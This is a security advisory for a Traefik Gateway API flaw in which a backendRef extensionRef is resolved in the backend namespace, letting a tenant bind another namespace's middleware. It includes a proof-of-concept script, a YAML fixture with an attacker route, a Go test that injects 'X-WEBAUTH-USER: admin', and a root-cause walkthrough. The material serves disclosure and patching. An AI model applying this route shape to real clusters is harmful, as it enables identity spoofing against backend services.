GHSA-QQ9Q-X9W4-CHHJ
Vulnerability from github – Published: 2026-08-05 21:49 – Updated: 2026-08-05 21:49Summary
There is a medium-severity namespace-confusion vulnerability in Traefik's Kubernetes Gateway API provider. When resolving HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef, Traefik used the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author holding a ReferenceGrant for a cross-namespace Service could therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications may receive attacker-selected authenticated-identity state. The fix resolves extensionRef against the HTTPRoute namespace.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.7
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description ## Summary Traefik's Kubernetes Gateway API provider resolves `HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef` in the backend Service namespace instead of the `HTTPRoute` namespace. A low-privileged route author with a permitted cross-namespace Service reference can therefore bind a Traefik `Middleware` from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications can receive attacker-selected authenticated identity state. ## Description Gateway API `ReferenceGrant` allows a namespace owner to grant a route in another namespace permission to reference a specific backend object, such as a `Service`. That grant should not implicitly authorize the route author to bind other policy objects in the backend namespace. In the affected code path, Traefik copies `backendRef.namespace` into a local `namespace` variable. It correctly uses that namespace to validate and load the backend `Service`, but then reuses the same namespace when resolving `backendRef.filters[].extensionRef`. For Traefik CRD `Middleware` extension filters, the CRD provider turns `(namespace, name)` into a dynamic middleware reference such as:platform-privileged-auth-header@kubernetescrd
As a result, a tenant route in `tenant-a` can bind a middleware named
`privileged-auth-header` from the backend namespace `platform`, even though the
Gateway API `ReferenceGrant` only granted access to `platform/protected-api`
`Service`.
## Impact
The PoC demonstrates that an attacker-authored `HTTPRoute` can cause Traefik to
attach a backend-namespace `Headers` middleware to the generated backend
service. The middleware injects:
X-WEBAUTH-USER: admin
That is a realistic downstream primitive because many applications support
trusted reverse-proxy authentication headers when deployed behind a gateway.
Separate Docker validation showed this header-auth class can map to
authenticated identities in Grafana, Gitea, Jenkins, SonarQube, and Nexus
Repository when those products are intentionally configured for reverse-proxy
authentication.
This is not a bug in those downstream applications and this PoC does not claim
direct Traefik host RCE, sandbox escape, private-key exfiltration, or default
cluster takeover. The Traefik vulnerability is unauthorized middleware binding
across a Gateway API namespace boundary.
## Proof Of Concept
### Files
run.sh
#!/usr/bin/env sh
set -eu
TARGET_REF="${TARGET_REF:-v3.7.5}"
REPO_URL="${REPO_URL:-https://github.com/traefik/traefik.git}"
SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"
WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-gw-extref-poc.XXXXXX")}"
if [ "${KEEP_WORKDIR:-0}" != "1" ]; then
trap 'rm -rf "$WORKDIR"' EXIT INT TERM
fi
printf '[*] target_ref=%s\n' "$TARGET_REF"
printf '[*] workdir=%s\n' "$WORKDIR"
if [ -n "${TRAEFIK_SRC:-}" ]; then
printf '[*] cloning from local source: %s\n' "$TRAEFIK_SRC"
git clone -q "$TRAEFIK_SRC" "$WORKDIR/traefik"
cd "$WORKDIR/traefik"
git -c advice.detachedHead=false checkout -q "$TARGET_REF"
else
printf '[*] cloning from remote: %s\n' "$REPO_URL"
git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGET_REF" "$REPO_URL" "$WORKDIR/traefik"
cd "$WORKDIR/traefik"
fi
mkdir -p pkg/provider/kubernetes/gateway/fixtures/httproute
cp "$SCRIPT_DIR/poc_gateway_extensionref_test.go" \
pkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go
cp "$SCRIPT_DIR/backendref_extension_filter_cross_namespace_poc.yml" \
pkg/provider/kubernetes/gateway/fixtures/httproute/backendref_extension_filter_cross_namespace_poc.yml
if grep -Fq 'loadConfigurationFromGateways(ctx context.Context) (*dynamic.Configuration, *statusReport, error)' pkg/provider/kubernetes/gateway/kubernetes.go; then
sed -i \
-e 's/conf := p\.loadConfigurationFromGateways(t\.Context())/conf, _, err := p.loadConfigurationFromGateways(t.Context())/' \
-e 's/require\.NotNil(t, conf)/require.NoError(t, err)/' \
pkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go
fi
printf '[*] running Gateway HTTPRoute backendRef ExtensionRef namespace-confusion PoC\n'
go test ./pkg/provider/kubernetes/gateway \
-run '^TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace$' \
-count=1 -v
printf 'POC_RESULT=PASS\n'
backendref_extension_filter_cross_namespace_poc.yml
---
apiVersion: v1
kind: Service
metadata:
name: protected-api
namespace: platform
spec:
ports:
- name: web
protocol: TCP
port: 80
targetPort: web
---
kind: EndpointSlice
apiVersion: discovery.k8s.io/v1
metadata:
name: protected-api-abc
namespace: platform
labels:
kubernetes.io/service-name: protected-api
addressType: IPv4
ports:
- name: web
port: 8080
endpoints:
- addresses:
- 10.10.20.10
conditions:
ready: true
---
kind: GatewayClass
apiVersion: gateway.networking.k8s.io/v1
metadata:
name: shared-gateway-class
spec:
controllerName: traefik.io/gateway-controller
---
kind: Gateway
apiVersion: gateway.networking.k8s.io/v1
metadata:
name: shared-gateway
namespace: infra
spec:
gatewayClassName: shared-gateway-class
listeners:
- name: http
protocol: HTTP
port: 80
allowedRoutes:
kinds:
- kind: HTTPRoute
group: gateway.networking.k8s.io
namespaces:
from: All
---
kind: ReferenceGrant
apiVersion: gateway.networking.k8s.io/v1beta1
metadata:
name: allow-tenant-route-to-service
namespace: platform
spec:
from:
- group: gateway.networking.k8s.io
kind: HTTPRoute
namespace: tenant-a
to:
- group: ""
kind: Service
name: protected-api
---
kind: HTTPRoute
apiVersion: gateway.networking.k8s.io/v1
metadata:
name: tenant-route
namespace: tenant-a
spec:
parentRefs:
- name: shared-gateway
namespace: infra
kind: Gateway
group: gateway.networking.k8s.io
hostnames:
- attacker.example
rules:
- matches:
- path:
type: PathPrefix
value: /
backendRefs:
- name: protected-api
namespace: platform
port: 80
kind: Service
group: ""
filters:
- type: ExtensionRef
extensionRef:
group: traefik.io
kind: Middleware
name: privileged-auth-header
poc_gateway_extensionref_test.go
package gateway
import (
"net/http"
"net/http/httptest"
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
"github.com/traefik/traefik/v3/pkg/config/dynamic"
"github.com/traefik/traefik/v3/pkg/middlewares/headers"
traefikv1alpha1 "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/traefikio/v1alpha1"
kubefake "k8s.io/client-go/kubernetes/fake"
)
func TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace(t *testing.T) {
k8sObjects, gwObjects := readResources(t, []string{"httproute/backendref_extension_filter_cross_namespace_poc.yml"})
kubeClient := kubefake.NewClientset(k8sObjects...)
gwClient := newGatewaySimpleClientSet(t, gwObjects...)
client := newClientImpl(kubeClient, gwClient)
eventCh, err := client.WatchAll(nil, make(chan struct{}))
require.NoError(t, err)
if len(k8sObjects) > 0 || len(gwObjects) > 0 {
<-eventCh
}
var resolvedRefs []string
p := Provider{
EntryPoints: map[string]Entrypoint{"web": {Address: ":80"}},
client: client,
}
p.RegisterFilterFuncs(traefikv1alpha1.GroupName, "Middleware", func(name, namespace string) (string, *dynamic.Middleware, error) {
resolvedRefs = append(resolvedRefs, namespace+"/"+name)
return namespace + "-" + name + "@kubernetescrd", &dynamic.Middleware{
Headers: &dynamic.Headers{
CustomRequestHeaders: map[string]string{
"X-WEBAUTH-USER": "admin",
},
},
}, nil
})
conf := p.loadConfigurationFromGateways(t.Context())
require.NotNil(t, conf)
var serviceConfig *dynamic.Service
for _, service := range conf.HTTP.Services {
for _, middlewareRef := range service.Middlewares {
if middlewareRef == "platform-privileged-auth-header@kubernetescrd" {
serviceConfig = service
}
}
}
require.Contains(t, resolvedRefs, "platform/privileged-auth-header")
require.Contains(t, conf.HTTP.Middlewares, "platform-privileged-auth-header@kubernetescrd")
require.NotNil(t, serviceConfig)
require.Contains(t, serviceConfig.Middlewares, "platform-privileged-auth-header@kubernetescrd")
seenUser := make(chan string, 1)
backend := http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {
seenUser <- req.Header.Get("X-WEBAUTH-USER")
rw.WriteHeader(http.StatusOK)
})
handler, err := headers.NewHeader(backend, *conf.HTTP.Middlewares["platform-privileged-auth-header@kubernetescrd"].Headers)
require.NoError(t, err)
recorder := httptest.NewRecorder()
handler.ServeHTTP(recorder, httptest.NewRequest(http.MethodGet, "http://attacker.example/", nil))
assert.Equal(t, http.StatusOK, recorder.Code)
assert.Equal(t, "admin", <-seenUser)
t.Logf("POC_RESULT_DETAIL=backend_extension_ref_resolved_namespace=%q middleware=%q injected_header=%q",
"platform", "platform-privileged-auth-header@kubernetescrd", "X-WEBAUTH-USER: admin")
}
### Requirements
- `git`
- Go toolchain compatible with the target Traefik tag. `v3.7.5` uses
`go 1.25.0`.
- Network access to clone `https://github.com/traefik/traefik.git` and download
Go modules on first run.
No local Traefik checkout or Kubernetes cluster is required by default.
### Run
./run.sh
Optional target override:
TARGET_REF=v3.7.0 ./run.sh
Optional local-source override for faster validation:
TRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh
### Expected Result
The run should end with:
POC_RESULT_DETAIL=backend_extension_ref_resolved_namespace="platform" middleware="platform-privileged-auth-header@kubernetescrd" injected_header="X-WEBAUTH-USER: admin"
POC_RESULT=PASS
## Root Cause
Line numbers below are from:
repository: https://github.com/traefik/traefik
tag: v3.7.5
commit: 26c96a3935cafb473f4a5bae1886560d9aa4e4f0
### 1. Route-level filters use the route namespace
`pkg/provider/kubernetes/gateway/httproute.go:143-144`
// TODO loadMiddlewares errors could change the condition.
router.Middlewares, err = p.loadMiddlewares(conf, route.Namespace, routerName, routeRule.Filters, match.Path)
For filters directly on `HTTPRoute.rules[]`, Traefik resolves extension filters
relative to `route.Namespace`. This matches the Gateway API
`LocalObjectReference` model.
### 2. BackendRef namespace overwrites the route namespace
`pkg/provider/kubernetes/gateway/httproute.go:240-243`
namespace := route.Namespace
if backendRef.Namespace != nil && *backendRef.Namespace != "" {
namespace = string(*backendRef.Namespace)
For a cross-namespace backend Service, `namespace` becomes the backend
namespace, for example `platform`.
### 3. ReferenceGrant checks only the backend object
`pkg/provider/kubernetes/gateway/httproute.go:258-266`
if err := p.isReferenceGranted(kindHTTPRoute, route.Namespace, group, string(kind), string(backendRef.Name), namespace); err != nil {
return serviceName, &metav1.Condition{
Type: string(gatev1.RouteConditionResolvedRefs),
Status: metav1.ConditionFalse,
ObservedGeneration: route.Generation,
LastTransitionTime: metav1.Now(),
Reason: string(gatev1.RouteReasonRefNotPermitted),
This validates permission to reference the backend object, such as
`platform/protected-api` `Service`.
### 4. The backend namespace is reused for backendRef filters
`pkg/provider/kubernetes/gateway/httproute.go:269-277`
middlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch)
if err != nil {
return serviceName, &metav1.Condition{
Type: string(gatev1.RouteConditionResolvedRefs),
Status: metav1.ConditionFalse,
ObservedGeneration: route.Generation,
LastTransitionTime: metav1.Now(),
The same `namespace` variable now points to the backend namespace. Therefore an
`ExtensionRef` inside `backendRef.filters[]` is resolved as
`platform/` instead of `tenant-a/`.
### 5. CRD Middleware extension refs are qualified by the namespace supplied by Gateway provider
`pkg/provider/kubernetes/crd/kubernetes.go:169-175`
registry.RegisterFilterFuncs(traefikv1alpha1.GroupName, "Middleware", func(name, namespace string) (string, *dynamic.Middleware, error) {
if len(p.Namespaces) > 0 && !slices.Contains(p.Namespaces, namespace) {
return "", nil, fmt.Errorf("namespace %q is not allowed", namespace)
}
return makeID(namespace, name) + providerNamespaceSeparator + ProviderName, nil, nil
The namespace passed from `loadMiddlewares()` decides which CRD `Middleware`
object becomes part of the dynamic service configuration.
### 6. Service-level middlewares are applied at runtime
`pkg/server/service/service.go:186-194`
if len(conf.Middlewares) > 0 {
if m.middlewareChainBuilder == nil {
// This should happen only in tests.
return nil, errors.New("chain builder not defined")
}
chain := m.middlewareChainBuilder.BuildMiddlewareChain(ctx, conf.Middlewares)
originalLB := lb
var err error
lb, err = chain.Then(lb)
The unauthorized middleware reference is not merely stored. Traefik applies
service-level middlewares to the backend load balancer handler during normal
HTTP service construction.
## Minimal Exploit Shape
The PoC fixture contains the essential object graph:
tenant-a/HTTPRoute
-> backendRef namespace: platform, name: protected-api
-> backendRef.filters[].extensionRef: traefik.io/Middleware privileged-auth-header
platform/ReferenceGrant
-> allows tenant-a HTTPRoute to reference platform/protected-api Service only
platform/protected-api Service
Traefik resolves the ExtensionRef as:
platform/privileged-auth-header
In a real affected deployment, if `platform/privileged-auth-header` sets a
trusted identity header, requests sent through the tenant route can reach the
backend with that header injected by Traefik.
## Workarounds
- Avoid granting untrusted namespaces permission to attach `HTTPRoute` objects
to shared Gateways that route to sensitive backends.
- Do not place privileged or identity-bearing Traefik `Middleware` objects in
namespaces that can be reached by untrusted cross-namespace `HTTPRoute`
backend references.
- Prefer route-local filters and explicitly audit
`HTTPRoute.rules[].backendRefs[].filters[].extensionRef` usage.
- Strip trusted reverse-proxy identity headers at backend application
boundaries unless they originate from a dedicated authentication gateway.
## Scope Boundary
Exploitation requires low-privileged route-author capability in a Kubernetes
Gateway API deployment. A remote unauthenticated web client without
`HTTPRoute` authoring capability cannot create the malicious route. If the
shared Gateway is internet-facing, the final request that triggers the
unauthorized middleware can be sent over the public network after the route is
created.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "Traefik"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0"
},
{
"fixed": "3.7.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-65601"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-05T21:49:19Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThere is a medium-severity namespace-confusion vulnerability in Traefik\u0027s Kubernetes Gateway API provider. When resolving `HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef`, Traefik used the backend Service namespace instead of the `HTTPRoute` namespace. A low-privileged route author holding a `ReferenceGrant` for a cross-namespace Service could therefore bind a Traefik `Middleware` from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications may receive attacker-selected authenticated-identity state. The fix resolves `extensionRef` against the `HTTPRoute` namespace.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.7.7\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Summary\n\nTraefik\u0027s Kubernetes Gateway API provider resolves\n`HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef` in the backend\nService namespace instead of the `HTTPRoute` namespace. A low-privileged route\nauthor with a permitted cross-namespace Service reference can therefore bind a\nTraefik `Middleware` from the backend namespace without a separate grant for\nthat middleware. If the reused middleware sets trusted reverse-proxy identity\nheaders, downstream applications can receive attacker-selected authenticated\nidentity state.\n\n## Description\n\nGateway API `ReferenceGrant` allows a namespace owner to grant a route in\nanother namespace permission to reference a specific backend object, such as a\n`Service`. That grant should not implicitly authorize the route author to bind\nother policy objects in the backend namespace.\n\nIn the affected code path, Traefik copies `backendRef.namespace` into a local\n`namespace` variable. It correctly uses that namespace to validate and load the\nbackend `Service`, but then reuses the same namespace when resolving\n`backendRef.filters[].extensionRef`. For Traefik CRD `Middleware` extension\nfilters, the CRD provider turns `(namespace, name)` into a dynamic middleware\nreference such as:\n\n```text\nplatform-privileged-auth-header@kubernetescrd\n```\n\nAs a result, a tenant route in `tenant-a` can bind a middleware named\n`privileged-auth-header` from the backend namespace `platform`, even though the\nGateway API `ReferenceGrant` only granted access to `platform/protected-api`\n`Service`.\n\n## Impact\n\nThe PoC demonstrates that an attacker-authored `HTTPRoute` can cause Traefik to\nattach a backend-namespace `Headers` middleware to the generated backend\nservice. The middleware injects:\n\n```text\nX-WEBAUTH-USER: admin\n```\n\nThat is a realistic downstream primitive because many applications support\ntrusted reverse-proxy authentication headers when deployed behind a gateway.\nSeparate Docker validation showed this header-auth class can map to\nauthenticated identities in Grafana, Gitea, Jenkins, SonarQube, and Nexus\nRepository when those products are intentionally configured for reverse-proxy\nauthentication.\n\nThis is not a bug in those downstream applications and this PoC does not claim\ndirect Traefik host RCE, sandbox escape, private-key exfiltration, or default\ncluster takeover. The Traefik vulnerability is unauthorized middleware binding\nacross a Gateway API namespace boundary.\n\n## Proof Of Concept\n\n### Files\n\n\u003cdetails\u003e\n\u003csummary\u003erun.sh\u003c/summary\u003e\n\n```bash\n#!/usr/bin/env sh\nset -eu\n\nTARGET_REF=\"${TARGET_REF:-v3.7.5}\"\nREPO_URL=\"${REPO_URL:-https://github.com/traefik/traefik.git}\"\nSCRIPT_DIR=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")\" \u0026\u0026 pwd)\"\nWORKDIR=\"${WORKDIR:-$(mktemp -d \"${TMPDIR:-/tmp}/traefik-gw-extref-poc.XXXXXX\")}\"\n\nif [ \"${KEEP_WORKDIR:-0}\" != \"1\" ]; then\n\ttrap \u0027rm -rf \"$WORKDIR\"\u0027 EXIT INT TERM\nfi\n\nprintf \u0027[*] target_ref=%s\\n\u0027 \"$TARGET_REF\"\nprintf \u0027[*] workdir=%s\\n\u0027 \"$WORKDIR\"\n\nif [ -n \"${TRAEFIK_SRC:-}\" ]; then\n\tprintf \u0027[*] cloning from local source: %s\\n\u0027 \"$TRAEFIK_SRC\"\n\tgit clone -q \"$TRAEFIK_SRC\" \"$WORKDIR/traefik\"\n\tcd \"$WORKDIR/traefik\"\n\tgit -c advice.detachedHead=false checkout -q \"$TARGET_REF\"\nelse\n\tprintf \u0027[*] cloning from remote: %s\\n\u0027 \"$REPO_URL\"\n\tgit -c advice.detachedHead=false clone -q --depth 1 --branch \"$TARGET_REF\" \"$REPO_URL\" \"$WORKDIR/traefik\"\n\tcd \"$WORKDIR/traefik\"\nfi\n\nmkdir -p pkg/provider/kubernetes/gateway/fixtures/httproute\ncp \"$SCRIPT_DIR/poc_gateway_extensionref_test.go\" \\\n\tpkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go\ncp \"$SCRIPT_DIR/backendref_extension_filter_cross_namespace_poc.yml\" \\\n\tpkg/provider/kubernetes/gateway/fixtures/httproute/backendref_extension_filter_cross_namespace_poc.yml\n\nif grep -Fq \u0027loadConfigurationFromGateways(ctx context.Context) (*dynamic.Configuration, *statusReport, error)\u0027 pkg/provider/kubernetes/gateway/kubernetes.go; then\n\tsed -i \\\n\t\t-e \u0027s/conf := p\\.loadConfigurationFromGateways(t\\.Context())/conf, _, err := p.loadConfigurationFromGateways(t.Context())/\u0027 \\\n\t\t-e \u0027s/require\\.NotNil(t, conf)/require.NoError(t, err)/\u0027 \\\n\t\tpkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go\nfi\n\nprintf \u0027[*] running Gateway HTTPRoute backendRef ExtensionRef namespace-confusion PoC\\n\u0027\ngo test ./pkg/provider/kubernetes/gateway \\\n\t-run \u0027^TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace$\u0027 \\\n\t-count=1 -v\n\nprintf \u0027POC_RESULT=PASS\\n\u0027\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003ebackendref_extension_filter_cross_namespace_poc.yml\u003c/summary\u003e\n\n```yaml\n---\napiVersion: v1\nkind: Service\nmetadata:\n name: protected-api\n namespace: platform\nspec:\n ports:\n - name: web\n protocol: TCP\n port: 80\n targetPort: web\n\n---\nkind: EndpointSlice\napiVersion: discovery.k8s.io/v1\nmetadata:\n name: protected-api-abc\n namespace: platform\n labels:\n kubernetes.io/service-name: protected-api\naddressType: IPv4\nports:\n - name: web\n port: 8080\nendpoints:\n - addresses:\n - 10.10.20.10\n conditions:\n ready: true\n\n---\nkind: GatewayClass\napiVersion: gateway.networking.k8s.io/v1\nmetadata:\n name: shared-gateway-class\nspec:\n controllerName: traefik.io/gateway-controller\n\n---\nkind: Gateway\napiVersion: gateway.networking.k8s.io/v1\nmetadata:\n name: shared-gateway\n namespace: infra\nspec:\n gatewayClassName: shared-gateway-class\n listeners:\n - name: http\n protocol: HTTP\n port: 80\n allowedRoutes:\n kinds:\n - kind: HTTPRoute\n group: gateway.networking.k8s.io\n namespaces:\n from: All\n\n---\nkind: ReferenceGrant\napiVersion: gateway.networking.k8s.io/v1beta1\nmetadata:\n name: allow-tenant-route-to-service\n namespace: platform\nspec:\n from:\n - group: gateway.networking.k8s.io\n kind: HTTPRoute\n namespace: tenant-a\n to:\n - group: \"\"\n kind: Service\n name: protected-api\n\n---\nkind: HTTPRoute\napiVersion: gateway.networking.k8s.io/v1\nmetadata:\n name: tenant-route\n namespace: tenant-a\nspec:\n parentRefs:\n - name: shared-gateway\n namespace: infra\n kind: Gateway\n group: gateway.networking.k8s.io\n hostnames:\n - attacker.example\n rules:\n - matches:\n - path:\n type: PathPrefix\n value: /\n backendRefs:\n - name: protected-api\n namespace: platform\n port: 80\n kind: Service\n group: \"\"\n filters:\n - type: ExtensionRef\n extensionRef:\n group: traefik.io\n kind: Middleware\n name: privileged-auth-header\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003epoc_gateway_extensionref_test.go\u003c/summary\u003e\n\n```go\npackage gateway\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n\t\"github.com/traefik/traefik/v3/pkg/config/dynamic\"\n\t\"github.com/traefik/traefik/v3/pkg/middlewares/headers\"\n\ttraefikv1alpha1 \"github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/traefikio/v1alpha1\"\n\tkubefake \"k8s.io/client-go/kubernetes/fake\"\n)\n\nfunc TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace(t *testing.T) {\n\tk8sObjects, gwObjects := readResources(t, []string{\"httproute/backendref_extension_filter_cross_namespace_poc.yml\"})\n\n\tkubeClient := kubefake.NewClientset(k8sObjects...)\n\tgwClient := newGatewaySimpleClientSet(t, gwObjects...)\n\n\tclient := newClientImpl(kubeClient, gwClient)\n\teventCh, err := client.WatchAll(nil, make(chan struct{}))\n\trequire.NoError(t, err)\n\tif len(k8sObjects) \u003e 0 || len(gwObjects) \u003e 0 {\n\t\t\u003c-eventCh\n\t}\n\n\tvar resolvedRefs []string\n\tp := Provider{\n\t\tEntryPoints: map[string]Entrypoint{\"web\": {Address: \":80\"}},\n\t\tclient: client,\n\t}\n\n\tp.RegisterFilterFuncs(traefikv1alpha1.GroupName, \"Middleware\", func(name, namespace string) (string, *dynamic.Middleware, error) {\n\t\tresolvedRefs = append(resolvedRefs, namespace+\"/\"+name)\n\t\treturn namespace + \"-\" + name + \"@kubernetescrd\", \u0026dynamic.Middleware{\n\t\t\tHeaders: \u0026dynamic.Headers{\n\t\t\t\tCustomRequestHeaders: map[string]string{\n\t\t\t\t\t\"X-WEBAUTH-USER\": \"admin\",\n\t\t\t\t},\n\t\t\t},\n\t\t}, nil\n\t})\n\n\tconf := p.loadConfigurationFromGateways(t.Context())\n\trequire.NotNil(t, conf)\n\n\tvar serviceConfig *dynamic.Service\n\tfor _, service := range conf.HTTP.Services {\n\t\tfor _, middlewareRef := range service.Middlewares {\n\t\t\tif middlewareRef == \"platform-privileged-auth-header@kubernetescrd\" {\n\t\t\t\tserviceConfig = service\n\t\t\t}\n\t\t}\n\t}\n\n\trequire.Contains(t, resolvedRefs, \"platform/privileged-auth-header\")\n\trequire.Contains(t, conf.HTTP.Middlewares, \"platform-privileged-auth-header@kubernetescrd\")\n\trequire.NotNil(t, serviceConfig)\n\trequire.Contains(t, serviceConfig.Middlewares, \"platform-privileged-auth-header@kubernetescrd\")\n\n\tseenUser := make(chan string, 1)\n\tbackend := http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {\n\t\tseenUser \u003c- req.Header.Get(\"X-WEBAUTH-USER\")\n\t\trw.WriteHeader(http.StatusOK)\n\t})\n\n\thandler, err := headers.NewHeader(backend, *conf.HTTP.Middlewares[\"platform-privileged-auth-header@kubernetescrd\"].Headers)\n\trequire.NoError(t, err)\n\n\trecorder := httptest.NewRecorder()\n\thandler.ServeHTTP(recorder, httptest.NewRequest(http.MethodGet, \"http://attacker.example/\", nil))\n\n\tassert.Equal(t, http.StatusOK, recorder.Code)\n\tassert.Equal(t, \"admin\", \u003c-seenUser)\n\tt.Logf(\"POC_RESULT_DETAIL=backend_extension_ref_resolved_namespace=%q middleware=%q injected_header=%q\",\n\t\t\"platform\", \"platform-privileged-auth-header@kubernetescrd\", \"X-WEBAUTH-USER: admin\")\n}\n```\n\n\u003c/details\u003e\n\n### Requirements\n\n- `git`\n- Go toolchain compatible with the target Traefik tag. `v3.7.5` uses\n `go 1.25.0`.\n- Network access to clone `https://github.com/traefik/traefik.git` and download\n Go modules on first run.\n\nNo local Traefik checkout or Kubernetes cluster is required by default.\n\n### Run\n\n```sh\n./run.sh\n```\n\nOptional target override:\n\n```sh\nTARGET_REF=v3.7.0 ./run.sh\n```\n\nOptional local-source override for faster validation:\n\n```sh\nTRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh\n```\n\n### Expected Result\n\nThe run should end with:\n\n```text\nPOC_RESULT_DETAIL=backend_extension_ref_resolved_namespace=\"platform\" middleware=\"platform-privileged-auth-header@kubernetescrd\" injected_header=\"X-WEBAUTH-USER: admin\"\nPOC_RESULT=PASS\n```\n\n## Root Cause\n\nLine numbers below are from:\n\n```text\nrepository: https://github.com/traefik/traefik\ntag: v3.7.5\ncommit: 26c96a3935cafb473f4a5bae1886560d9aa4e4f0\n```\n\n### 1. Route-level filters use the route namespace\n\n`pkg/provider/kubernetes/gateway/httproute.go:143-144`\n\n```go\n// TODO loadMiddlewares errors could change the condition.\nrouter.Middlewares, err = p.loadMiddlewares(conf, route.Namespace, routerName, routeRule.Filters, match.Path)\n```\n\nFor filters directly on `HTTPRoute.rules[]`, Traefik resolves extension filters\nrelative to `route.Namespace`. This matches the Gateway API\n`LocalObjectReference` model.\n\n### 2. BackendRef namespace overwrites the route namespace\n\n`pkg/provider/kubernetes/gateway/httproute.go:240-243`\n\n```go\nnamespace := route.Namespace\nif backendRef.Namespace != nil \u0026\u0026 *backendRef.Namespace != \"\" {\n\tnamespace = string(*backendRef.Namespace)\n```\n\nFor a cross-namespace backend Service, `namespace` becomes the backend\nnamespace, for example `platform`.\n\n### 3. ReferenceGrant checks only the backend object\n\n`pkg/provider/kubernetes/gateway/httproute.go:258-266`\n\n```go\nif err := p.isReferenceGranted(kindHTTPRoute, route.Namespace, group, string(kind), string(backendRef.Name), namespace); err != nil {\n\treturn serviceName, \u0026metav1.Condition{\n\t\tType: string(gatev1.RouteConditionResolvedRefs),\n\t\tStatus: metav1.ConditionFalse,\n\t\tObservedGeneration: route.Generation,\n\t\tLastTransitionTime: metav1.Now(),\n\t\tReason: string(gatev1.RouteReasonRefNotPermitted),\n```\n\nThis validates permission to reference the backend object, such as\n`platform/protected-api` `Service`.\n\n### 4. The backend namespace is reused for backendRef filters\n\n`pkg/provider/kubernetes/gateway/httproute.go:269-277`\n\n```go\nmiddlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch)\nif err != nil {\n\treturn serviceName, \u0026metav1.Condition{\n\t\tType: string(gatev1.RouteConditionResolvedRefs),\n\t\tStatus: metav1.ConditionFalse,\n\t\tObservedGeneration: route.Generation,\n\t\tLastTransitionTime: metav1.Now(),\n```\n\nThe same `namespace` variable now points to the backend namespace. Therefore an\n`ExtensionRef` inside `backendRef.filters[]` is resolved as\n`platform/\u003cmiddleware-name\u003e` instead of `tenant-a/\u003cmiddleware-name\u003e`.\n\n### 5. CRD Middleware extension refs are qualified by the namespace supplied by Gateway provider\n\n`pkg/provider/kubernetes/crd/kubernetes.go:169-175`\n\n```go\nregistry.RegisterFilterFuncs(traefikv1alpha1.GroupName, \"Middleware\", func(name, namespace string) (string, *dynamic.Middleware, error) {\n\tif len(p.Namespaces) \u003e 0 \u0026\u0026 !slices.Contains(p.Namespaces, namespace) {\n\t\treturn \"\", nil, fmt.Errorf(\"namespace %q is not allowed\", namespace)\n\t}\n\n\treturn makeID(namespace, name) + providerNamespaceSeparator + ProviderName, nil, nil\n```\n\nThe namespace passed from `loadMiddlewares()` decides which CRD `Middleware`\nobject becomes part of the dynamic service configuration.\n\n### 6. Service-level middlewares are applied at runtime\n\n`pkg/server/service/service.go:186-194`\n\n```go\nif len(conf.Middlewares) \u003e 0 {\n\tif m.middlewareChainBuilder == nil {\n\t\t// This should happen only in tests.\n\t\treturn nil, errors.New(\"chain builder not defined\")\n\t}\n\tchain := m.middlewareChainBuilder.BuildMiddlewareChain(ctx, conf.Middlewares)\n\toriginalLB := lb\n\tvar err error\n\tlb, err = chain.Then(lb)\n```\n\nThe unauthorized middleware reference is not merely stored. Traefik applies\nservice-level middlewares to the backend load balancer handler during normal\nHTTP service construction.\n\n## Minimal Exploit Shape\n\nThe PoC fixture contains the essential object graph:\n\n```text\ntenant-a/HTTPRoute\n -\u003e backendRef namespace: platform, name: protected-api\n -\u003e backendRef.filters[].extensionRef: traefik.io/Middleware privileged-auth-header\n\nplatform/ReferenceGrant\n -\u003e allows tenant-a HTTPRoute to reference platform/protected-api Service only\n\nplatform/protected-api 